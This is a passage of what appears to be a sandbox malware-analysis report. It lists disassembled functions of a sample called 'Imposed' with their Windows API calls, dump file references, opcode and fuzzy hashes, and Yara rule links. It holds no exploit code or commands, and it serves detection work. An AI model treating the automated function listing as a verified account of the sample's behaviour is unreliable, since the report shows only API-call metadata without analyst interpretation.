                                                                                                                                                                • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,009C343A,009910E8,00000000,00000000,00000000,?,009C36AB,00000006,FlsSetValue,00A33248,FlsSetValue,00000000), ref: 009C34DF
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LibraryLoad$ErrorLast
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3177248105-0
                                                                                                                                                                • Opcode ID: c6b78c4c5527be59012d4dff5869fa1174fbb3199a6612cf5521596873c1d8cc
                                                                                                                                                                • Instruction ID: 3d59e0c6ad5c4a00df76c539ac2fda4ccbbba7c5f8635f5611e5c5557e040eb1
                                                                                                                                                                • Opcode Fuzzy Hash: c6b78c4c5527be59012d4dff5869fa1174fbb3199a6612cf5521596873c1d8cc
                                                                                                                                                                • Instruction Fuzzy Hash: AC01FC72A11222ABC7328BBD9C44F667B5CAF05BA0724C624F919D7191D725D90387E1
                                                                                                                                                                Function 009F7C80 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 009F7C9B
                                                                                                                                                                • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 009F7CB3
                                                                                                                                                                • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 009F7CC8
                                                                                                                                                                • RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 009F7CE6
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Type$Register$FileLoadModuleNameUser
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1352324309-0
                                                                                                                                                                • Opcode ID: decdef9bf07e0fdece4b9116de3dee459f8164a2d7f60220da5e8ed27c7dcbfc
                                                                                                                                                                • Instruction ID: 85e3d282c911a2083d4a3b63a5e76ff50ac98d638a5693c73c055637e7daef65
                                                                                                                                                                • Opcode Fuzzy Hash: decdef9bf07e0fdece4b9116de3dee459f8164a2d7f60220da5e8ed27c7dcbfc
                                                                                                                                                                • Instruction Fuzzy Hash: AD1161B5205309ABE720DF94EC08BB6B7FCEF00B00F608929E656D6195D7B4F905DB50
                                                                                                                                                                Function 009FB8CC Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,009FB4F7,?,00008000), ref: 009FB8E8
                                                                                                                                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,009FB4F7,?,00008000), ref: 009FB90D
                                                                                                                                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,009FB4F7,?,00008000), ref: 009FB917
                                                                                                                                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,009FB4F7,?,00008000), ref: 009FB94A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CounterPerformanceQuerySleep
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2875609808-0
                                                                                                                                                                • Opcode ID: 3095a6e6cff959c99957c2d918911a3080641933ef1e66082d43415614ea617e
                                                                                                                                                                • Instruction ID: 453b76675fc15a252dccc4c9c8555f3cddadf7c73f20b442e893120f5c89e073
                                                                                                                                                                • Opcode Fuzzy Hash: 3095a6e6cff959c99957c2d918911a3080641933ef1e66082d43415614ea617e
                                                                                                                                                                • Instruction Fuzzy Hash: 49115B71C0052DEBDF10DFE9E9486FEBB78BF09711F114195DA41B2240CB709692CB51
                                                                                                                                                                Function 00A2841C Relevance: 6.0, APIs: 4, Instructions: 46COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00A2843B
                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00A28453
                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00A28477
                                                                                                                                                                • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00A28492
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ClientRectScreen$InvalidateWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 357397906-0
                                                                                                                                                                • Opcode ID: 63ec2e5cc3f771e52308e79b376b848169d7e0d9e7d9dbce670caa5251502683
                                                                                                                                                                • Instruction ID: 7561f311c656574d7ed79e004627f5b5fdfc101ccbb04e8c7f586a911e3ffb1b
                                                                                                                                                                • Opcode Fuzzy Hash: 63ec2e5cc3f771e52308e79b376b848169d7e0d9e7d9dbce670caa5251502683
                                                                                                                                                                • Instruction Fuzzy Hash: 9A1112B9D0020AEFDB51DFA8D984AEEBBF5FB08310F108166E915E3211D735AA55CF50
                                                                                                                                                                Function 009F35B2 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 009F35D0
                                                                                                                                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 009F35E1
                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 009F35E8
                                                                                                                                                                • AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 009F35EF
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2710830443-0
                                                                                                                                                                • Opcode ID: bfebe302305044799f295dac0c924f0b535dddd3d0c04912cb2d8cebeaa56cd3
                                                                                                                                                                • Instruction ID: 103996ddb452c368aabbbac0c9631fc98f54d509186aeabf89d18ec444f47735
                                                                                                                                                                • Opcode Fuzzy Hash: bfebe302305044799f295dac0c924f0b535dddd3d0c04912cb2d8cebeaa56cd3
                                                                                                                                                                • Instruction Fuzzy Hash: 80E0657121122877D63057A69C0DEF77F5CDB82B61F000125F609D2081DAA8CA42C6B0
                                                                                                                                                                Function 00A28E6B Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00991E82: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00991EDC
                                                                                                                                                                  • Part of subcall function 00991E82: SelectObject.GDI32(?,00000000), ref: 00991EEB
                                                                                                                                                                  • Part of subcall function 00991E82: BeginPath.GDI32(?), ref: 00991F02
                                                                                                                                                                  • Part of subcall function 00991E82: SelectObject.GDI32(?,00000000), ref: 00991F2B
                                                                                                                                                                • MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00A28E8F
                                                                                                                                                                • LineTo.GDI32(?,?,?), ref: 00A28E9C
                                                                                                                                                                • EndPath.GDI32(?), ref: 00A28EAC
                                                                                                                                                                • StrokePath.GDI32(?), ref: 00A28EBA
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1539411459-0
                                                                                                                                                                • Opcode ID: 28f059867e274081f985f92cce652970f20007017ac0bc6250840ee56a58e2af
                                                                                                                                                                • Instruction ID: b52fa372fc8798208d1accab14761caf1a1e300ee8981cd0cb564221e74cab17
                                                                                                                                                                • Opcode Fuzzy Hash: 28f059867e274081f985f92cce652970f20007017ac0bc6250840ee56a58e2af
                                                                                                                                                                • Instruction Fuzzy Hash: 00F05432005555B6DB229F98BC09FDE3F696F05310F048110FA11210E2C7B99513DBA5
                                                                                                                                                                Function 009920F0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetSysColor.USER32(00000008), ref: 0099210C
                                                                                                                                                                • SetTextColor.GDI32(?,?), ref: 00992116
                                                                                                                                                                • SetBkMode.GDI32(?,00000001), ref: 00992129
                                                                                                                                                                • GetStockObject.GDI32(00000005), ref: 00992131
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Color$ModeObjectStockText
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4037423528-0
                                                                                                                                                                • Opcode ID: 35fc19c0b0f2fff8cb0050e6be4911ea07649aefe53d3d781a5d02ab00e6029a
                                                                                                                                                                • Instruction ID: acf84e2b1035ed04a38f029322f2b87a7496fa397e6c8daac1f03467d8685cc1
                                                                                                                                                                • Opcode Fuzzy Hash: 35fc19c0b0f2fff8cb0050e6be4911ea07649aefe53d3d781a5d02ab00e6029a
                                                                                                                                                                • Instruction Fuzzy Hash: 59E06531284280AADB319BB8AC09BF83B15AB12336F14C329F7BA580E1C37146529B11
                                                                                                                                                                Function 009EEA29 Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetDesktopWindow.USER32 ref: 009EEA29
                                                                                                                                                                • GetDC.USER32(00000000), ref: 009EEA33
                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,0000000C), ref: 009EEA53
                                                                                                                                                                • ReleaseDC.USER32(?), ref: 009EEA74
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2889604237-0
                                                                                                                                                                • Opcode ID: e2a6c9d7759e88a6f85057fc1c42b63c763caaafcbe6f313b4449033afeff8c2
                                                                                                                                                                • Instruction ID: e7e3eb4a68c2b997e5723f68b9e3b76ed55e232ee05d5852d98da69f812df51b
                                                                                                                                                                • Opcode Fuzzy Hash: e2a6c9d7759e88a6f85057fc1c42b63c763caaafcbe6f313b4449033afeff8c2
                                                                                                                                                                • Instruction Fuzzy Hash: 38E01AB4810200DFCF61DFE88848A6DBBB5FB48711F148429E80AE3211C73859039F10
                                                                                                                                                                Function 009EEA3D Relevance: 6.0, APIs: 4, Instructions: 18COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetDesktopWindow.USER32 ref: 009EEA3D
                                                                                                                                                                • GetDC.USER32(00000000), ref: 009EEA47
                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,0000000C), ref: 009EEA53
                                                                                                                                                                • ReleaseDC.USER32(?), ref: 009EEA74
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2889604237-0
                                                                                                                                                                • Opcode ID: f182b7ce8612f2c209d4bed426da327e82388ef62f6e87786284130886fe00cb
                                                                                                                                                                • Instruction ID: f60751c6ed62513afa70989821eb760177c902fe33404911be65e0061f090cf1
                                                                                                                                                                • Opcode Fuzzy Hash: f182b7ce8612f2c209d4bed426da327e82388ef62f6e87786284130886fe00cb
                                                                                                                                                                • Instruction Fuzzy Hash: 2DE01AB0C10200DFCF60DFE8884866DBBB5FB48310F108419E90AE3211C73859039F10
                                                                                                                                                                Function 00A0569E Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00997A0C: _wcslen.LIBCMT ref: 00997A11
                                                                                                                                                                • WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00A057EB
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Connection_wcslen
                                                                                                                                                                • String ID: *$LPT
                                                                                                                                                                • API String ID: 1725874428-3443410124
                                                                                                                                                                • Opcode ID: 745a5d556516fc2e631f93e288b25b75645555e5cfc025ea83ab23fbba2fb8b2
                                                                                                                                                                • Instruction ID: 50033de3ea5b0b3bed657a94c5246525455fad7cef275e9f9bf16dee9b15dfd2
                                                                                                                                                                • Opcode Fuzzy Hash: 745a5d556516fc2e631f93e288b25b75645555e5cfc025ea83ab23fbba2fb8b2
                                                                                                                                                                • Instruction Fuzzy Hash: E5914A75E00608DFCB14DF68D584AAABBB1AF48314F188099E84A9B392D771EE85CF50
                                                                                                                                                                Function 009BE69D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • __startOneArgErrorHandling.LIBCMT ref: 009BE72D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorHandling__start
                                                                                                                                                                • String ID: pow
                                                                                                                                                                • API String ID: 3213639722-2276729525
                                                                                                                                                                • Opcode ID: 9e66b838286e310a5ab6860ff1f36a00de7676519eb5fee99cfd66bd684f77c3
                                                                                                                                                                • Instruction ID: 8b45e620e2ebba8854336b42a2fcca6f05ee98837a4011c283748200dba29262
                                                                                                                                                                • Opcode Fuzzy Hash: 9e66b838286e310a5ab6860ff1f36a00de7676519eb5fee99cfd66bd684f77c3
                                                                                                                                                                • Instruction Fuzzy Hash: 8D515A71E0C50196DB11B754CE41BFB6BECEB80760F288D5CF095462A9EF388D929B47
                                                                                                                                                                Function 009AB040 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 172COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID: #
                                                                                                                                                                • API String ID: 0-1885708031
                                                                                                                                                                • Opcode ID: 2a8ef72c6e9b6177937dee09c7dd7f4993b6f476aa513d1436930c856ede59cc
                                                                                                                                                                • Instruction ID: 32613c996c8cfb2c15e9b7e9805237760ba713f29f9ea6bbd9662e242c02cedf
                                                                                                                                                                • Opcode Fuzzy Hash: 2a8ef72c6e9b6177937dee09c7dd7f4993b6f476aa513d1436930c856ede59cc
                                                                                                                                                                • Instruction Fuzzy Hash: E8517435508286CFCB12DFA9C4907FBBBA8EF16310F644019ECA59B2D1EB359D42C790
                                                                                                                                                                Function 009AF5B9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • Sleep.KERNEL32(00000000), ref: 009AF5CA
                                                                                                                                                                • GlobalMemoryStatusEx.KERNEL32(?), ref: 009AF5E3
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: GlobalMemorySleepStatus
                                                                                                                                                                • String ID: @
                                                                                                                                                                • API String ID: 2783356886-2766056989
                                                                                                                                                                • Opcode ID: ef7322974dc6adbd0ab4027d5316f07d9760e7a555afbed6e1ba5a5fadb7324f
                                                                                                                                                                • Instruction ID: 08d47aec56b0ed5c093a5a5d9d14971a4df8bbe2c1ead5d56b6fec58f969e240
                                                                                                                                                                • Opcode Fuzzy Hash: ef7322974dc6adbd0ab4027d5316f07d9760e7a555afbed6e1ba5a5fadb7324f
                                                                                                                                                                • Instruction Fuzzy Hash: 115157B14097449BD720AF54DC86BAFBBE8FFC6340F81885DF6D8411A1DB318829CB66
                                                                                                                                                                Function 00A0D922 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A0D95E
                                                                                                                                                                • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00A0D968
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CrackInternet_wcslen
                                                                                                                                                                • String ID: |
                                                                                                                                                                • API String ID: 596671847-2343686810
                                                                                                                                                                • Opcode ID: 3c35fdecf82ea2e24b4ac759d1c54eaaa77316b6124651c573c40c077e0087ca
                                                                                                                                                                • Instruction ID: 792933313d612de889907ae8743f446f34f575be9ef1a119c1ecd9e96a5b3a6a
                                                                                                                                                                • Opcode Fuzzy Hash: 3c35fdecf82ea2e24b4ac759d1c54eaaa77316b6124651c573c40c077e0087ca
                                                                                                                                                                • Instruction Fuzzy Hash: 27315E7291110DABCF11EFA4EE85AEEBFB9FF54340F000019F915A6162DB359916CB50
                                                                                                                                                                Function 00A24C13 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00A24CFB
                                                                                                                                                                • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00A24D10
                                                                                                                                                                Strings
